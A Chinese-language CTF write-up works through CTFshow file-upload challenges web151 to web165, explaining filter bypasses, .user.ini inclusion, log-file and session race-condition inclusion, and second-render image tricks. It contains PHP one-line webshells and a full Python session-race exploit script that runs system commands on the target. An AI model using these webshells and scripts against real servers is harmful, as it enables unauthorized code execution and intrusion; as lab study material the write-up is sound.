CTFshow文件上传刷题
本来一开始是想打一个文件上传的靶场,但是这个靶场搭的有问题,然后一直修改也没有修改好,所以就从CTFshow上面做题
一.web151
打开看到前台效验不可靠
猜测是不是前端验证,然后我想到禁用java,但是发现禁用java后,上传图片的按钮无法使用,然后测试一下发现这里限制只能上传.png图片
一种方法是上传一张.png图片,然后用bp修改一下后缀
成功上传,然后用蚁剑连接
然后我了解到的另一种方法是用开发者工具修改限制,因为前端限制只能上传png文件
因此修改png为php,就可以直接上传php文件
用蚁剑连接得到flag
二.web152
打开依旧看到相同的画面
上传几个文件发现都无法成功,然后使用开发者工具,发现还是限制png
但是这里不是简单的前端验证,应该是对MIME类型进行检测,因此我们可以使用抓包修改
然后用蚁剑连接
三.web153
打开依旧看到相似的页面
使用F12发现依旧是png文件,使用抓包修改后缀发现依旧不能成功
那么尝试一下使用配置文件
发现可以上传,再上传一下.png文件
发现成功上传,但是无法连接
原因是.htaccess是Apache服务器的配置文件,但是这里是Nginx服务器
因此可以试一下使用另外一个配置文件.user.ini,.user.ini不仅限于 Apache 服务器,同样适用于 Nginx 和 IIS 服务器,适用范围更广,只要服务器启用了 fastcgi 模式(在phpstudy中切换为 nts 模式即可让.user.ini配置文件生效)
作用相当于在可执行的php文件 最开始或者最末尾 通过使用 auto_prepend_file(包含在文件头) 或者 auto_append_file(包含在文件尾) 来包含写入的文件,当访问这个可执行文件时,就会解析执行其中的php代码,同时就会使用PHP解析这个包含的文件,也就是说文件上传后保存的路径中需要存在可执行的php文件才能利用.user.ini
我们开始已经知道上传的目录是upload,那么我们访问一下upload看看能不能找到该目录下存在的可执行的PHP文件,一般这个文件都是index.php文件,
页面显示nothing here,其实也是暗示我们该目录下存在一个php文件,该文件的内容是输出nothing here,也就是说我们具备使用.user.ini配置文件的条件,那么我们接下来就试一下
然后上传我们写入了一句话木马的文件2.png
但是这里我们使用蚁剑连接时要注意,之前我们的url后面的是上传的文件地址,但是使用.user.ini使用的是upload目录下的可执行的PHP文件,因此这里要使用index.php来连接
得到flag
四.web154
使用开发者工具打开发现依旧只能上传png
那么试一下我们上一个题的2.png文件看看有什么提示
提示文件内容不合规,那么应该是对文件内容进行了检测,然后去bp里测试一下,发现她对<?php进行了过滤,尝试试一下大小写绕过
发现可以上传,但是.php后缀也被过滤了,前面我们看到这里的服务器也是Nginx服务器,默认配置通常只解析 .php ,所以这里也不能用phtml来代替,这里我是试了一下,但是我们可以考虑使用.user.ini配置文件
然后用蚁剑连接得到flag
这里注意不能使用<? ?>来绕过<?php ?>过滤,因为<? ?>依赖于 PHP 配置文件 php.ini 中的 short_open_tag 选项,并且从PHP8.0开始,short_open_tag配置项已经被移除,我试过这个,它用蚁剑连接不上
五.web155
依旧只能上传png文件,先上传一个试试有什么提示
提示文件类型不合规,猜测应该也是检测了内容用抓包修改一下,发现确实检测文件头,并且这里过滤了php,大小写也无法绕过,试一下<?= ?>,它等价于<?php echo ?>
然后再试一下配置文件
试一下蚁剑连接,得到flag
六.web156
依旧只能上传png文件,直接去抓包里修改
上传失败,测试发现php被过滤了,但是可以使用<?= ?>代替,然后还有 [ ] 被过滤了,但是可以用{ }代替
发现可以成功上传,那么再试一下.user.ini配置文件
蚁剑可以连接,然后得到flag
七.web157
依旧是前端验证上传.png文件,直接上传肯定是上传不了的,去抓包里面测试一下,发现过滤了php,但是可以用<?代替,然后[ ] 和 { } 都被过滤了,还有;
这里可以了解一个函数 extract()函数 ,它是PHP的内置函数,它的作用是把数组里的键名变成变量名(它可以与compact函数配合使用,compact() 可以根据变量名创建数组),键值变成变量值,$_POST是 PHP 的超全局变量,它也是一个数组
常用的一句话木马是<?php @eval($_POST[x]); ?>就可以写成<?php extract($_POST);@eval($x); ?>
但是这里;被过滤了,所以不能使用eval,因为eval必须有;,assert通常不需要,但是这里是两句代码,这两句代码直接需要;来分隔,所以不能使用这个函数
但是这里我们可以在文件里直接写入system('ls /')
再上传.user.ini配置文件
访问一下看是否执行了我们上传的文件
访问一下html目录
执行一下
读取flag.php
执行一下
八.web158
打开环境,还是前端验证只能上传.png文件,先上传,然后去抓包里面修改
测试一下发现过滤了php,; ,[ ] ,{ } ,试一下使用上一关的语法
发现可以上传,试一下配置文件可不可以
发现也能上传,访问一下看是否执行了
成功执行,查看flag所在目录
读取flag
九.web159
依旧是前端验证只能上传png文件,然后我们还是去抓包里面修改,先上传一个配置文件
成功上传,再看一下过滤了什么,发现比上一题多过滤了一个( ,因此这里我们就不能使用函数,但是可以使用 ` (PHP中的执行操作符)
成功上传,看看有没有被执行
成功执行,读取flag
十.web160
依旧是上传.png文件,然后在抓包里面修改
发现php,[ ,{ ,( ,空格,` ,; 都被过滤了,然后我想到了一个伪协议,php://filter 伪协议,它可以在读取或写入数据之前对其进行处理,但是()被过滤了,我们要通过什么来使用这个伪协议呢,这里可以了解一下PHP的语言构造,它们不需要括号
其中包含构造可以用来与伪协议结合,因为包含构造的核心功能是加载并执行指定路径的文件。PHP 的伪协议(如 php://,file://,data:// 等)本质上是一种特殊的“路径”或“流”,它们告诉 PHP 如何获取要包含的内容。
接下来就是构造伪协议,因为flag一般是在/var/www/html目录下,所以我们试一下直接构造试一下
然后上传配置文件
访问一下
解码一下
我看其他大佬的wp,还有一种方法是日志文件包含,Nginx Web 服务器的访问日志文件路径是/var/log/nginx/access.log,这里log也被过滤了·,因此也要用 . 拼接,依旧先上传配置文件,然后上传2.png文件
访问一下
看到成功回显,代表我们的日志文件包含成功执行,然后在最后看到User-Agent的内容
那么我们试一下UA头注入
试一下蚁剑连接
十一.web161
开发者工具查看一下,依旧只能上传png文件,直接去抓包里面修改
但是这里我修改了很多次,都显示报错,哪怕只有一个<,都显示报错
然后我解码报错信息,意思是文件类型不合规,然后MIME类型是正确的,我猜测是不是检测了文件头,试一下
发现加上GIF89a之后,可以使用<?=?>,但是php,(,[,{,; ,空格,log 都被过滤了,试一下伪协议的方法
成功上传,再上传配置文件
再访问一下
解码一下
也可以用日志包含的方法
访问一下
依旧是UA头,使用UA头注入
蚁剑成功连接,读取flag
十二.web162
依旧直接去抓包里面修改
然后发现这里比上一题多了一个 . 过滤,因此无法使用伪协议拼接,也不能使用日志包含,这里看了其他大佬的wp,要使用session注入,这里涉及到session包含竞争,它的核心原理是利用了 PHP 在处理文件上传时,会将上传进度信息临时存储在 Session 文件中,而攻击者通过“条件竞争”的手段,在服务器删除这些临时文件之前,通过文件包含漏洞将其作为 PHP 代码执行。
条件竞争
条件竞争,也叫竞态条件,是一个在并发编程中常见的概念。它指的是:当一个系统的行为或最终结果,依赖于多个事件发生的先后顺序或相对时间,而这些顺序和时间又是不可控或无法预测时,就可能出现意想不到的错误。
条件竞争的核心原理是利用系统处理文件时的"检查-使用"时间差进行攻击
这里有一个我找到的session包含竞争的脚本
import requests import threading session=requests.session() sess='1' #和png后面要包含文件的对应 url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/" # url1 用于触发 Session 写入 url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload" # url2 用于触发文件包含或读取。 data1={ 'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>' } file={ 'file':'1' #无所谓 } cookies={ 'PHPSESSID': sess } def write(): while True: r = session.post(url1,data=data1,files=file,cookies=cookies) # 持续不断地向 url1 发送 POST 请求。 def read(): while True: r = session.get(url2) # 持续不断地向 url2 发送 GET 请求。 if 'flag' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] #同时启动两个死循环线程,利用高频请求增加攻击成功的概率。 for t in threads: t.start()先了解一下这个代码:
sess="1":作用是设置Session ID,攻击者通过控制 Cookie 中的 PHPSESSID,确保知道恶意代码会被写入哪个具体的文件(例如 /tmp/sess_1)。
PHP Session Upload Progress: PHP 有一个特性,当 php.ini 中开启 session.upload_progress.enabled 时,用户在上传文件的过程中,PHP 会将上传进度信息(POST 的内容)序列化并写入 Session 文件中。这个Session文件通常位于 /tmp 目录下,文件名为 sess_<PHPSESSID>
data1:POST数据file:伪造的文件上传字段。为了触发 session.upload_progress.enabled 机制,必须发起一个 multipart/form-data 类型的 POST 请求,所以需要包含一个文件字段,内容无所谓。url1(写入端):这是触发 Session 文件写入的 URL。它必须是一个能接收POST请求的接口,通常是文件上传功能。url2(读取/执行端):这是触发文件包含的 URL。它通常是一个存在文件包含漏洞(LFI)的页面(这里的 url2 必须存在一个漏洞,能够包含并执行 sess_1 文件中的代码。)
这里我们依旧要上传配置文件.user.ini
再上传png文件,png文件的内容就是包含sess_1文件
然后运行脚本
十三.web163
依旧是png文件,直接去抓包里修改,发现依旧是把 . 过滤了,试一下上一题的方法
成功上传,再上传一下png文件
但是这里我访问upload目录却显示报错,但是我一直无法解决这个报错,我也找不到wp来解决
十四.web164
这里依旧是上传png文件,但是我在抓包里修改了好几次,都是显示文件类型不合规,然后我试一下图片马,发现可以上传成功
但是上传成功后,我们也无法上传.user.ini配置文件,也无法执行里面的一句话木马,查看图片也没有什么信息,然后看了一下wp,这个题是考二次渲染的,由于之前没有了解过二次渲染,因此我们先了解一下二次渲染
1.二次渲染的概念
二次渲染是指上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。
2.二次渲染的原理
在PHP中二次渲染所涉及的函数包括imagecreatefromjpeg,imagecreatefromgif和imagecreatefrompng,他们用于从不同格式的图像文件创建图像资源,这些函数的核心功能是将图像文件加载到内存中,并将其转换为一个图像资源(resource),以便后续进行图像处理操作。
它们的工作流程如下:
文件读取:函数首先打开指定的图像文件或 URL,读取文件的内容。
格式解析:根据文件的格式(JPEG、GIF 或 PNG),函数解析文件的结构和数据。例如,JPEG 文件使用 DCT(离散余弦变换)进行压缩,而 PNG 文件使用无损压缩算法。
创建图像资源:解析完成后,函数将图像数据存储在内存中,并返回一个图像资源标识符。这个标识符是一个指向内存中图像数据的指针,后续再通过图像处理函数(如 imagejpeg(),imagepng() 等)将这个内存中的图片重新编码生成一个新的图片文件
imagecreatefromjpeg、imagecreatfromgif 和 imagecreatfrompng 这些函数在加载图像文件时,会对图像文件的内容进行解析和检查,以确保文件是一个有效的图像文件,并提取必要的信息以便后续操作。这些函数会检查进行文件格式验证,图像元数据和图像数据,如果文件格式不正确或文件损坏,他们会返回 FALSE,并可能触发错误或警告,这些函数也会根据图像的尺寸和颜色信息,为图像数据分配内存
不同图片格式有不同的压缩方式和数据结构,其绕过方式也不同
GIF图片的压缩方式是无损压缩,对于GIF格式,可以利用文件结构,GIF格式由文件头、多个图像/注释块和文件结束符组成。GD库在二次渲染时,主要处理图像的像素数据,而对于某些非关键数据块(如注释扩展块)或文件结束符;之后的内容,则可能原封不动地保留,因此对于GIF格式的,我们可以将一句话木马插到渲染后不被修改的区域
JPG图片的压缩方式也是无损压缩,但是它的数据结构比GIF更复杂,二次渲染会重组大部分数据块,但某些特定块在特定条件下可能被保留。
3.二次渲染的存在性判断
(1)根据文件大小判断
访问上传的文件地址,重新下载下来,查看文件大小是否发生改变
(2)图片数据包
将上传图片的发送包和访问文件地址的返回包发到burpsuite的compare模块,查看是否存在差异
(3)使用010Editor查看
将图片下载下来后使用010Editor查看
根据上面举的例子,能判断出上传的文件已经经过二次渲染了,他被改变了
web164解题
接下来就是绕过二次渲染,其中一个方法是在010Editor的比较文件中尽量找地址相同且大小(size)相同的块,在没有改变的地方,插入我们的恶意代码
灰色表示数据在这两个文件中完全一样,红色表示不一样,黄色表示只在原图有,地址表示起始位置,大小表示数据块长度
但是这里的灰色部分都太短了,我们无法将一句话木马写入,然后这里我找到了一个脚本,运行一下
生成图片之后上传
然后查看图片,但是这里注入system('ls')时不能使用hackbar直接注入,因为此时发送的包是GET包,如果用hackbar直接发送,它会忽略POST框里面的数据,会回显示图片错误,因此要去bp里面修改请求方式再上传
看到一个flag.php文件,读取一下
十五.web165
打开环境,这次是上传jpg文件
上传一个jpg文件,然后上传成功后显示查看图片
将图片保存下来查看一下
发现大小改变了,可能是存在二次渲染
这个依旧找不到修改的地方,因此我们要借助脚本,但是肯定不能用上一题的png脚本,要找一个jpg脚本
